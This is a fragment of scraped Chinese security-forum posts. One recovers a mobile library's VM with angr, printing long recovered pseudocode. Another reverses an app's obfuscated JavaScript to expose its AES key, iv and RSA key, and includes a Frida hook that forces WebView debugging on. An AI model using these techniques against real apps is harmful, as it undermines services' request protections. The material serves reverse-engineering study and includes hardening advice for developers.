Jadx-GUi\\n\\nGDA\\n\\nJEB\\n\\n由于每种反编译器的反编译效果不同,表现出的伪代码形式也为不同。\\n\\n我们选择JEB来进行主力分析工具,因为JEB自带有一些神奇魔法…","guid":"https://bbs.kanxue.com/thread-283753.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-10-02T03:15:00.790Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_Z93HASGTH3H8FRR.png","type":"photo","width":850,"height":532,"blurhash":"LZR3cqScWC%M~pj[a#j[9EoNazWB"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_SN7ADXHM9RBMG3Y.png","type":"photo","width":785,"height":615,"blurhash":"LGSPU;%M%M~q%Mt7xuWBD%kBM{Rj"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_HB2EHFDSRF4X46Z.png","type":"photo","width":1185,"height":942,"blurhash":"LHRMl7xvX4_3tkWBn%ae00oyoMV["},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_E3M8NZJDZP2TNQK.png","type":"photo","width":1331,"height":577,"blurhash":"LBSFkL?Hx@~p~os;oebF4:t7j[WB"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_A8TV5PPYAT8FMH5.png","type":"photo","width":780,"height":561,"blurhash":"LDRV|UMxMx.8?bV@t6R-00WUt7a~"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_AGQBXJCEMNK6AJV.png","type":"photo","width":1024,"height":578,"blurhash":"LDS6MgnoxW~pxtROjIkCM_RPV]WE"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_4VZ6DK3DCHDD3S3.png","type":"photo","width":227,"height":371,"blurhash":"LLPP$Ht6s9?b.maebas.J7WAt7s:"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_BD8RHK34BUJGW68.png","type":"photo","width":400,"height":456,"blurhash":"LARCxV-:n~_2~VIpWDR+R*j[RkWC"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_PWRX3ZYTNAB6FUT.png","type":"photo","width":758,"height":550,"blurhash":"LDR..2yDx@~U^lkpWVenK6VtVsSN"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_AHBD2UHMBZUFYF3.png","type":"photo","width":340,"height":53,"blurhash":"LOQ]Tc%1ox%3-:odWARQ~nocj=oe"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_RNSUWK8RQTBK76E.png","type":"photo","width":365,"height":51,"blurhash":"LPRCh~-pW=%MIdfkozWC_LkVt6ay"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_SQMHWY5DRPS9QV8.png","type":"photo","width":962,"height":251,"blurhash":"LsM*8Et7ayt7~WoLj[oe%MayfQj["},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_R6RCCMFMJQN4QQG.png","type":"photo","width":606,"height":147,"blurhash":"LLQldyIVt7o2,@ofofRk.jNGRkt7"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_JC8S273QAU27T3C.png","type":"photo","width":1111,"height":564,"blurhash":"L04LXjWB4n%N_Nt7Mxofx[j]ofV?"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_C5GGDUR3XN7R6HN.png","type":"photo","width":906,"height":300,"blurhash":"LBQ].*.7?b~q-:WAofWAx[ofayR%"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_RRPEZBMYU9XD74G.png","type":"photo","width":1046,"height":613,"blurhash":"LM9%-e~q~q~pofofoeofoeofofoe"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_FBMVCFEKJTNCQ77.png","type":"photo","width":1148,"height":661,"blurhash":"LHR{ohVZo|_M%NV]o2xtM|j]axax"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_8DRFKZKAZRP2DS7.png","type":"photo","width":1071,"height":597,"blurhash":"L14ef]_3xuM{RkxuRjj[t7M{t7fR"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_4RHK7W4QU4UYR4B.png","type":"photo","width":1008,"height":600,"blurhash":"L04o7v~qITkCIUt7IUxv%MIUxvRj"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_49MCCX62G8NKPWP.png","type":"photo","width":1566,"height":180,"blurhash":"LIQl,;t.R.=y_Nv$Rjo|R*Z#obou"},{"url":"https://bbs.kanxue.com/upload/attach/202410/967562_UPYWJNRJKX2ZK5V.png","type":"photo","width":1128,"height":750,"blurhash":"LCS6DItkJ~_3XTeos:t70dV[njbH"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]libEnccryptor vm 还原的探索","url":"https://bbs.kanxue.com/thread-283731.htm","content":"\\n\\nvm 对我也说一直是个很有意思的东西,自想还原vmp失败以来,一有机会了解vm都会去看一下,js的vm有很多教程了,对我启发很大,这篇文章的实现方案是我的一种对vm还原的尝试,按照我最开始的想法是要还原到binja的 il 然后去构建一个函数的,但是我懒癌犯了,就不打算继续了(这个绝对是可以这么干的)
由于我懒得搭建 unidbg 去模拟执行(菜是原罪),所以本文全程使用静态分析去完成
此文更多的是解释我的vm还原的代码,以及对还原vm的一种尝试,而不是具体的介绍我代码是怎么写的(如果有需要的话,我可能会出一个视频来讲解怎么实现的代码,打字太累了),我的还原思路应该是可以通用还原别的vm的,我设计的时候也是尽可能的这么做的
阅读此文的前置条件:
1: 对参考文章中内容有一定了解
2: 对angr(符号执行)有一定了解
某短视频虚拟机分析和还原 https://bbs.kanxue.com/thread-282300.htm
我是这么划分 vm 解释器的(应改看不清 该函数偏移为 0x2c18)
本文解释我还原的代码主要围绕调用外部函数
在我上一篇还原 ollvm 的文章中,我还原的主要思路 是用 angr在分发器设置 负责跳转的寄存器的值,然后angr就可以把这个值对应的执行的过程全部记录下来,一直到下一次重新跳转到分发器,这次分析vm我最开始也是这个思路的,但是后面发现了问题,在ollvm中,我只是为了还原控制流,所以跟代码实际执行逻辑是不相关的,但 vm就不一样了,vm执行的过程是跟前面变量有关的,就导致无法像上次一样去还原
稍微解释下
这里 opcode 0xdfbdfc13 对应的就是判断虚拟寄存器0的值大于1走一个流程,如果我 使用之前的方法,从分发器设置 opcode的值,然后一直符号执行直到下一次到分发器,就会出现分支(可能会很多),也有的时候,后面的opcode 会使用前面设置的虚拟寄存器,在符号执行后面的opcode的时候,不知道这个值.也会产生分支
为了尽可能的减少分支,让符号执行的执行流尽可能的去接近 opcodes 对应的流程,而不包含解释器执行过程产生的分支,就需要用一个state(里面包含内存信息),从解释器开始执行一直到解释完所有opcode
还原出来的伪代码:
0x2c0c 是跳板函数,x4 存储的是要调用的函数的地址, x5 存储的是被调用函数的参数指针,每次调用外部函数的时候都会给 x4,x5赋值,在binja中把llil整个函数复制下来,搜索当前函数可以得到x4,x5在哪使用的
所以只需要给 x19 - 0x110 和 x19 - 0x108 赋值,就可以控制好调用外部函数了,通过阅读 金罡 大佬的文章获得了 vm解释器的内存布局
可以看到 x4 就是 vreg4,x5就是 vreg5,所以给 vreg4 vreg5 设置值就可以完成跳转
这里拿出我还原的代码,第一次调用外部函数开始解释
tips: 部分虚拟寄存器的做了改变(让分析起来更加方便), x4 就是 vreg4, x5就是 vreg5, sp就是 vreg29,上面伪代码中的 branch 是产生分支的位置,因为我没得打算完整还原所有分支,所以忽略了,未知的位置一般都是设置标志位,也可以忽略
调用的 0x2b40 是被前面的 vm代码计算出来的,我用angr符号执行的时候直接得到了地址,然后记录了下来,先来验证下我符号执行的得到的 伪代码的正确性
x4就是存储的跳转的地址,拿到上面给x4设置值的部分进行分析
总的来说,x4是 x0 | vreg_30
x0 = 0, vreg_30 = x1 + vreg_2
vreg_6 根据上面内存布局知道 是 ext_func_list_21d10,这里面全部都是被加密的外部函数地址
vreg_6 + 0x0 = 0xddd2d0
x1是个常数 0xffffffffff225870
vreg 最大是 8字节 ,所以溢出的不管, 这个值就是 2b40,跟 angr 符号执行得到的结果是对上的
继续分析参数
vreg_5 最终就等于 0x20
这里看一下 金罡 大佬 还原的汇编
汇编中显示的就是 x20,所以基本确定我还原的是没问题的
再来看一下 0x2bd0 对应的 汇编
可以看到函数的返回值是放在了 [x19 + 8].q 的,x19就是上面 的x5
再稍微多拿一点 还原的伪代码
调用 0x2b5c 准备的参数 x5 是 sp + 0x1a0 = vreg_21 = sp + 0x1b8
调用 0x2b40 准备的参数 x5 是 sp + 0x1b0
0x1b8 = 0x1b0 + 8
所以这里可以看到 调用 0x2b40的参数是 0x2b5c的返回值,逻辑上基本与金罡大佬文章中还原的代码一致(下面的就是,randNumberSize我没写出来,但读者可以试着分析下我还原的伪代码,不难得出也是 0x20)
更多的对我还原 伪代码的验证就不再进行, 借助我还原的伪代码,去分析 原始opcode的执行过程到底做了什么事,是可以很容易分析出来的
https://github.com/zhuzhu-Top/de_vm
本来这部分是准备变写代码的时候边记录的,但是问题太多了,后面就没记录了
按照我的理解,所有 opcode 都要从分发器分发,直到 ip++ 位置的
实际的时候发现,确实 分发器的位置,捕获到的所有 opcode 都是对的,
但是部分 opcode 没有在 ip++ 位置出现
解决:
忘记在 extra_stop_points 里面加 ip++位置的偏移,以为会停在那,实际没有,所以 以后想在哪
里做处理,都需要添加上去
opcode 执行逻辑
\\n0xdfbdfc16 vreg0=3
0xdfbdfc15
0xdfbdfc14
0xdfbdfc13
if
(vreg0 > 1) ip+=8
\\n0xdfbdfc12 vreg0+=2
0xdfbdfc11 vreg0+=1
opcode 执行逻辑
\\n0xdfbdfc16 vreg0=3
0xdfbdfc15
0xdfbdfc14
0xdfbdfc13
if
(vreg0 > 1) ip+=8
\\n0xdfbdfc12 vreg0+=2
0xdfbdfc11 vreg0+=1
sp
=
sp
+
-
0x210
\\nsp
+
0x208
=
vreg_31
\\nsp
+
0x200
=
vreg_30
\\nsp
+
0x1f8
=
vreg_23
\\nsp
+
0x1f0
=
vreg_22
\\nsp
+
0x1e8
=
vreg_21
\\nsp
+
0x1e0
=
vreg_20
\\nsp
+
0x1d8
=
vreg_19
\\nsp
+
0x1d0
=
vreg_18
\\nsp
+
0x1c8
=
vreg_17
\\nsp
+
0x1c0
=
vreg_16
\\nvreg_16
=
x0 | vreg_7
\\nvreg_11
=
x4
+
0x10
\\nvreg_12
=
x4
+
0x0
\\nvreg_2
=
vreg_6
+
0x0
\\nx3
=
vreg_6
+
0x8
\\nvreg_5
=
vreg_6
+
0x10
\\nvreg_7
=
vreg_6
+
0x18
\\nvreg_8
=
vreg_6
+
0x20
\\nvreg_9
=
vreg_6
+
0x28
\\nvreg_18
=
x4
+
0x18
\\nvreg_10
=
vreg_6
+
0x30
\\nvreg_6
=
vreg_6
+
0x38
\\nvreg_19
=
x4
+
0x8
\\nx1
=
vreg_19
+
0x76
\\nsp
+
0x88
=
x1
\\nx4
=
vreg_18
+
0x0
\\nbranch0(先不处理)
未知
x1
=
0xffffffffff220000
\\nx1
=
x1 | (
0x5870
&
0xffff
)
\\nx4
=
x1
+
vreg_6
\\nsp
+
0x40
=
x4
\\nx4
=
x1
+
vreg_10
\\nsp
+
0x38
=
x4
\\nx4
=
x1
+
vreg_9
\\nsp
+
0x30
=
x4
\\nx4
=
x1
+
vreg_8
\\nsp
+
0x20
=
x4
\\nx4
=
x1
+
vreg_7
\\nsp
+
0x18
=
x4
\\nx4
=
x1
+
vreg_5
\\nsp
+
0x0
=
x4
\\nvreg_23
=
x1
+
x3
\\nvreg_30
=
x1
+
vreg_2
\\nvreg_20
=
x0
+
0x20
\\nsp
+
0x1b0
=
vreg_20
\\nvreg_5
=
sp
+
0x1b0
\\nx4
=
x0 | vreg_30
\\nvreg_25
=
x0 | vreg_16
\\nsp
+
0x28
=
vreg_11
\\nvreg_31
=
ip
+
8
\\nsp
+
0x8
=
vreg_12
\\ncall
0x2b40
\\nsp
+
0x1a8
=
vreg_20
\\nvreg_21
=
sp
+
0x1b8
\\nsp
+
0x1a0
=
vreg_21
\\nvreg_5
=
sp
+
0x1a0
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_23
\\ncall
0x2b5c
\\nvreg_5
=
sp
+
0x190
\\nvreg_22
=
x0
+
0x10
\\nsp
+
0x190
=
vreg_22
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_30
\\ncall
0x2b40
\\nvreg_5
=
sp
+
0x180
\\nsp
+
0x180
=
vreg_22
\\nvreg_17
=
sp
+
0x198
\\nsp
+
0x10
=
vreg_17
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_30
\\ncall
0x2b40
\\nsp
+
0x150
=
vreg_21
\\nsp
+
0x158
=
vreg_20
\\nsp
+
0x160
=
vreg_17
\\nsp
+
0x168
=
vreg_22
\\nsp
+
0x178
=
vreg_22
\\nvreg_20
=
sp
+
0x188
\\nsp
+
0x170
=
vreg_20
\\nx4
=
sp
+
0x0
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nvreg_5
=
sp
+
0x150
\\ncall
0x2b94
\\nvreg_17
=
vreg_19
+
0x40
\\nvreg_5
=
sp
+
0x140
\\nsp
+
0x140
=
vreg_17
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_30
\\ncall
0x2b40
\\nvreg_30
=
sp
+
0x48
\\nvreg_22
=
sp
+
0x148
\\nsp
+
0x130
=
vreg_19
\\nvreg_23
=
sp
+
0x8
\\nsp
+
0x128
=
vreg_23
\\nsp
+
0x138
=
vreg_30
\\nx4
=
sp
+
0x18
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nvreg_5
=
sp
+
0x128
\\ncall
0x2ba8
\\nvreg_5
=
sp
+
0x110
\\nx1
=
x0
+
0x40
\\nsp
+
0x118
=
vreg_30
\\nsp
+
0x110
=
vreg_22
\\nsp
+
0x120
=
x1
\\nvreg_30
=
sp
+
0x20
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_30
\\ncall
0x2bb8
\\nvreg_5
=
sp
+
0xf8
\\nx1
=
vreg_22
+
0x40
\\nsp
+
0x100
=
vreg_23
\\nsp
+
0xf8
=
x1
\\nsp
+
0x108
=
vreg_19
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_30
\\ncall
0x2bb8
\\nx1
=
x0
+
32
\\nsp
+
0xe8
=
vreg_21
\\nvreg_19
=
sp
+
0x28
\\nsp
+
0xe0
=
vreg_19
\\nsp
+
0xf0
=
x1
\\nx4
=
sp
+
0x30
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nvreg_5
=
sp
+
0xe0
\\ncall
0x2bc8
\\nx1
=
vreg_19
+
0x26
\\nvreg_19
=
sp
+
0x10
\\nvreg_2
=
x0
+
16
\\nx3
=
sp
+
0x88
\\nsp
+
0xa8
=
vreg_19
\\nsp
+
0xb0
=
vreg_2
\\nsp
+
0xb8
=
vreg_20
\\nsp
+
0xc0
=
vreg_22
\\nsp
+
0xc8
=
vreg_17
\\nsp
+
0xd0
=
x1
\\nsp
+
0xd8
=
x3
\\nx1
=
sp
+
0x88
\\nx1
=
x1
+
-
0x26
\\nsp
+
0x88
=
x1
\\nx4
=
sp
+
0x38
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nvreg_5
=
sp
+
0xa8
\\ncall
0x2be8
\\nvreg_2
=
sp
+
0x88
\\n未知
x1
=
vreg_2
+
0x26
\\nvreg_18
+
0x0
=
x1
\\nsp
+
0xa0
=
vreg_21
\\nvreg_5
=
sp
+
0xa0
\\nvreg_17
=
sp
+
0x40
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_17
\\ncall
0x2c04
\\nsp
+
0x98
=
vreg_19
\\nvreg_5
=
sp
+
0x98
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_17
\\ncall
0x2c04
\\nvreg_5
=
sp
+
0x90
\\nsp
+
0x90
=
vreg_22
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_17
\\ncall
0x2c04
\\nvreg_16
=
sp
+
0x1c0
\\nvreg_17
=
sp
+
0x1c8
\\nvreg_18
=
sp
+
0x1d0
\\nvreg_19
=
sp
+
0x1d8
\\nvreg_20
=
sp
+
0x1e0
\\nvreg_21
=
sp
+
0x1e8
\\nvreg_22
=
sp
+
0x1f0
\\nvreg_23
=
sp
+
0x1f8
\\nvreg_30
=
sp
+
0x200
\\nvreg_31
=
sp
+
0x208
\\nsp
=
sp
+
0x210
\\nsp
=
sp
+
-
0x210
\\nsp
+
0x208
=
vreg_31
\\nsp
+
0x200
=
vreg_30
\\nsp
+
0x1f8
=
vreg_23
\\nsp
+
0x1f0
=
vreg_22
\\nsp
+
0x1e8
=
vreg_21
\\nsp
+
0x1e0
=
vreg_20
\\nsp
+
0x1d8
=
vreg_19
\\nsp
+
0x1d0
=
vreg_18
\\nsp
+
0x1c8
=
vreg_17
\\nsp
+
0x1c0
=
vreg_16
\\nvreg_16
=
x0 | vreg_7
\\nvreg_11
=
x4
+
0x10
\\nvreg_12
=
x4
+
0x0
\\nvreg_2
=
vreg_6
+
0x0
\\nx3
=
vreg_6
+
0x8
\\nvreg_5
=
vreg_6
+
0x10
\\nvreg_7
=
vreg_6
+
0x18
\\nvreg_8
=
vreg_6
+
0x20
\\nvreg_9
=
vreg_6
+
0x28
\\nvreg_18
=
x4
+
0x18
\\nvreg_10
=
vreg_6
+
0x30
\\nvreg_6
=
vreg_6
+
0x38
\\nvreg_19
=
x4
+
0x8
\\nx1
=
vreg_19
+
0x76
\\nsp
+
0x88
=
x1
\\nx4
=
vreg_18
+
0x0
\\nbranch0(先不处理)
未知
x1
=
0xffffffffff220000
\\nx1
=
x1 | (
0x5870
&
0xffff
)
\\nx4
=
x1
+
vreg_6
\\nsp
+
0x40
=
x4
\\nx4
=
x1
+
vreg_10
\\nsp
+
0x38
=
x4
\\nx4
=
x1
+
vreg_9
\\nsp
+
0x30
=
x4
\\nx4
=
x1
+
vreg_8
\\nsp
+
0x20
=
x4
\\nx4
=
x1
+
vreg_7
\\nsp
+
0x18
=
x4
\\nx4
=
x1
+
vreg_5
\\nsp
+
0x0
=
x4
\\nvreg_23
=
x1
+
x3
\\nvreg_30
=
x1
+
vreg_2
\\nvreg_20
=
x0
+
0x20
\\nsp
+
0x1b0
=
vreg_20
\\nvreg_5
=
sp
+
0x1b0
\\nx4
=
x0 | vreg_30
\\nvreg_25
=
x0 | vreg_16
\\nsp
+
0x28
=
vreg_11
\\nvreg_31
=
ip
+
8
\\nsp
+
0x8
=
vreg_12
\\ncall
0x2b40
\\nsp
+
0x1a8
=
vreg_20
\\nvreg_21
=
sp
+
0x1b8
\\nsp
+
0x1a0
=
vreg_21
\\nvreg_5
=
sp
+
0x1a0
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_23
\\ncall
0x2b5c
\\nvreg_5
=
sp
+
0x190
\\nvreg_22
=
x0
+
0x10
\\nsp
+
0x190
=
vreg_22
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_30
\\ncall
0x2b40
\\nvreg_5
=
sp
+
0x180
\\nsp
+
0x180
=
vreg_22
\\nvreg_17
=
sp
+
0x198
\\nsp
+
0x10
=
vreg_17
\\nvreg_25
=
x0 | vreg_16
\\nvreg_31
=
ip
+
8
\\nx4
=
x0 | vreg_30
\\ncall
0x2b40
\\nsp
+
0x150
=
vreg_21
\\nsp
+
0x158
=
vreg_20
\\nsp
+
0x160
=
vreg_17
\\nsp
+
0x168
=
vreg_22
\\nsp
+
0x178
=
vreg_22
\\nvreg_20
=
sp
+
0x188
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n根据历来活动界面经验,各大app使用webview进行活动的展开
使用frida hookd*app开启webview调试
[!NOTE]
在逆向之前要确定好百分百加密的接口
首先我们要考虑接口的可触发次数,以及触发是否有其他杂乱接口干扰
以喂鱼接口为例子,我们只能触发有限次数
但是以任务菜单为例子,我们能触发多次,并且没有其他杂包
点击后触发了无限debugger逻辑,考虑过掉该逻辑
可以考虑做抓包工具做远程替换,将\'debu\', \'gger\'改为\'\',\'\'即可
[\'constructor\'](_0x2f614e[\'uzRAM\'](\'debu\', \'gger\'))[\'call\'](\'action\');
这里我们选择手动过掉
[!TIP]
OB混淆总是给人一种此地无银三百两的感觉,往下翻文件轻松的发现了加密逻辑位置,基本到这里就定位结束了。每次看到OB一些混淆,就知道接下来的任务简单了,攻破这个混淆就可以了
目标分析: data内加密字段
首先猜测是否为RSA、AES、DES
首先观测第一个js文件,我们可以将其标记为大环境框架js,内部有多种反射调用,疑似为异步调用框架。
由于这一层调用再fetch上面,所以有很大疑点,我们打断点进行观察
在上面发现是content-type等头部设置,我们在这里打上断点,观察这里的数据是否进行了加密。
[!TIP]
我认为JS逆向大部分跟参的过程都是在逐渐缩短自己的范围,如果我能确定这里已经生成了加密参数,那么在我接下来的逆向中,将会减少很多的工作量
由于ob混淆内部分逻辑在调试时会崩溃,所以采取去混淆行为。
[!tip]
新发现,在浏览器使用本地替换也可在远程调试webview的js中生效
确定接口名称和目标接口名称一致
在这时发现data并没有被加密,所以打在下一行,并且观察是否有网络请求发出
发现加密消失了(蜜罐),我们再次进行尝试,并观察密文生成位置
发现在 const v = yield c(g, p) 这里的时候 我们的加密逻辑已经完成了,需要往上继续跟踪
我们跨过工具代码部分逻辑,继续分析。
发现这里已经生成了
由于堆栈跟踪断层,我们发现在请求函数的上层作用域有疑似参数处理过程 打好断点重新触发
发现了生成前的param对象
观察本作用域触发后的上一层,发现正在疑似拼接函数,跳出函数进行单步跟踪
时刻留意data动向进行继续单步跟踪(对付异步的比较不错的方法)
切记一定要用这个跟,其他的不要用
在yield这里狂按f9
在这里发现异步实现框架,进行参数过滤
当t为关键参数时候,需要使用上面的f9跟进关键函数
在这里就可以使用条件断点,来过滤想要跟入的异步函数
我们发现,我们已经成功跟入了一个新的业务逻辑js(从名字观看)
从谷歌自带的提示中发现,貌似在循环执行五个函数
貌似是在对请求的数据进行处理,这也是我们需要的
(这里没法看到函数列表 一个一个去打断点,只能回到
继续单步跟入查看,查看位置都是一样的
直到跟入核心函数,对数据处理的部分
S.Fun110就是我们的目标函数
到此刻我们定位成功
首先我们先找到一个时机点,这个时机点应该是加密参数生成前,在请求基本生成完成后
请求基本生成完成后是指什么时刻?给出大家一个例子
在这里创建了基本请求后,然后有未加密的数据。
当然在要代理的地方我们不用过于担心设置的是否正确,我们可以正确的拿到承接关系
比如我们代理
这个对象,但是对象赋值给了多个对象,我们对赋值的对象均进行跟踪
对每个值的以及每个值的拷贝进行跟踪
所以在此处我们设置
来观察e.data属性的获取情况,重点关注param的情况
这里出现了我们说的拷贝情况,把o.data一起代理上
观察获取到的属性,有param我们就观察上层堆栈
在这里发现v.data也需要设置
发现在获取param时候也成功定位到了加密函数
两种定位方式都需要一定调试技巧,在跟异步的时候都可以对流程的理清有一定帮助
映入眼帘的是一个简单的ob混淆,简单的ob混淆和看源码一样
[!tip]
这里有一个小技巧,打return语句的断点,看从哪里返回,再次出发,反向跟踪
将这个函数里的return语句都打上断点
建议拖到可以折叠的ide里面,搞清函数作用域再下手
发现在尾部的对象比较可疑,并且发现了一定的浏览器检测函数
和我们猜想的一样,数据最终在此处生成,我们首先先跟踪_0x10fab7的生成方式
用搜索功能发现这个是随机生成的哈希值
遗憾的发现 abcde中 abce都是随机值
分析一下data数据的来源
发现数据来源一个aes
在这里发现一顿concat ,只有_0x4879b7 _0x3d369有值
在上面发现aes加密逻辑
key和iv都很明显
9AB3F04305F7C09AA29B48B729461DD2F5437976EDF4806D
key:
_0x24bbfa[\'enc\'][\'Utf8\'][\'parse\'](_0x10fab7[\'substr\'](0xa, 0x10))
\'F7C09AA29B48B729\'
iv:
_0x24bbfa[\'enc\'][\'Utf8\'][\'parse\'](_0x10fab7[\'substr\'](0x14, 0x10)
\'48B729461DD2F543\'
加密结果(为第二个参数的值)
\'7369676e3d6665323662656663343934343464333632633866313734363336333062646261\'
接下来发现对密文进行处理
var _0x3d369 = _0x3b1c65 ? _0x3b1c65[\'ciphertext\'] ? _0x3b1c65[\'ciphertext\'][\'toString\']()[\'toUpperCase\']() : _0x3b1c65 : \'\'
碰巧拿到了上面拼接的第二个参数
接下来继续研究第一参数的生成
发现其参数生成和日期有关系
这个是在生成时间戳
在这里发现了对aes的密钥的进一步加密 从getkey可以大致推断出他是rsa加密
\'MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANMGZPlLobHYWoZyMvHD0a6emIjEmtf5Z6Q++VIBRulxsUfYvcczjB0fMVvAnd1douKmOX4G690q9NZ6Q7z/TV8CAwEAAQ==\'从返回值中拿到密钥
看到了npq 以及e 即可确定这是一个标准的rsa加密,我们接下来只需要得到加密前的明文即可完成分析
在encrypt后打断点观察明文
发现明文就是92B3F04305F7C09AA29B48B729461DD2F5437976662B4ED4
49714c457c58d6734ad87bda0ec38b1bad41d89ceecea1eb4d9cdcfaccf654ec48e0ec2c0cee3722a48aa1b56b8a14a5fbb003e80d5b920e33dad3072408af3d
加密的结果长度和第一个差不多,我推测就是一个编码的转换问题
\\"SXFMRXxY1nNK2HvaDsOLG61B2JzuzqHrTZzc+sz2VOxI4OwsDO43IqSKobVrihSl+7AD6A1bkg4z2tMHJAivPQ\\"
发现我们推断的结果正确,到此加密分析全部结束
在分析过程中,发现大量明文对浏览器环境的监测,防止大家放到node里面一把梭,总的来说是做算法更容易一些。
[!tip]
对d*的防护建议:
对关键字符串进行加密,此文件中多次出现encrypt关键字,并且AES加密也没有进行隐藏,很容易搜索定位到。
建议取消无限debugger的防护,这样给人一种此地无银三百两的感觉,直接定位到了关键加密的函数
console.log(
\\"脚本加载成功\\"
);
\\nfunction
main(){
\\n
Java.perform(
function
(){
\\n
var
WebView = Java.use(
\'android.webkit.WebView\'
);
\\n
WebView.$init.overload(
\'android.content.Context\'
).implementation =
function
(a){
\\n
var
result =
this
.$init(a);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
).implementation =
function
(a,b){
\\n
var
result =
this
.$init(a,b);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
\'int\'
).implementation =
function
(a,b,c){
\\n
var
result =
this
.$init(a,b,c);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
\'int\'
,
\'int\'
).implementation =
function
(a,b,c,d){
\\n
var
result =
this
.$init(a,b,c,d);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
\'int\'
,
\'boolean\'
).implementation =
function
(a,b,c,d){
\\n
var
result =
this
.$init(a,b,c,d);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
\'int\'
,
\'java.util.Map\'
,
\'boolean\'
).implementation =
function
(a,b,c,d,e){
\\n
var
result =
this
.$init(a,b,c,d,e);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
\'int\'
,
\'int\'
,
\'java.util.Map\'
,
\'boolean\'
).implementation =
function
(a,b,c,d,e,f){
\\n
var
result =
this
.$init(a,b,c,d,e,f);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
});
\\n}
setImmediate(main);
console.log(
\\"脚本加载成功\\"
);
\\nfunction
main(){
\\n
Java.perform(
function
(){
\\n
var
WebView = Java.use(
\'android.webkit.WebView\'
);
\\n
WebView.$init.overload(
\'android.content.Context\'
).implementation =
function
(a){
\\n
var
result =
this
.$init(a);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
).implementation =
function
(a,b){
\\n
var
result =
this
.$init(a,b);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
\'int\'
).implementation =
function
(a,b,c){
\\n
var
result =
this
.$init(a,b,c);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
\'int\'
,
\'int\'
).implementation =
function
(a,b,c,d){
\\n
var
result =
this
.$init(a,b,c,d);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
\'int\'
,
\'boolean\'
).implementation =
function
(a,b,c,d){
\\n
var
result =
this
.$init(a,b,c,d);
\\n
this
.setWebContentsDebuggingEnabled(
true
);
\\n
return
result;
\\n
}
\\n
WebView.$init.overload(
\'android.content.Context\'
,
\'android.util.AttributeSet\'
,
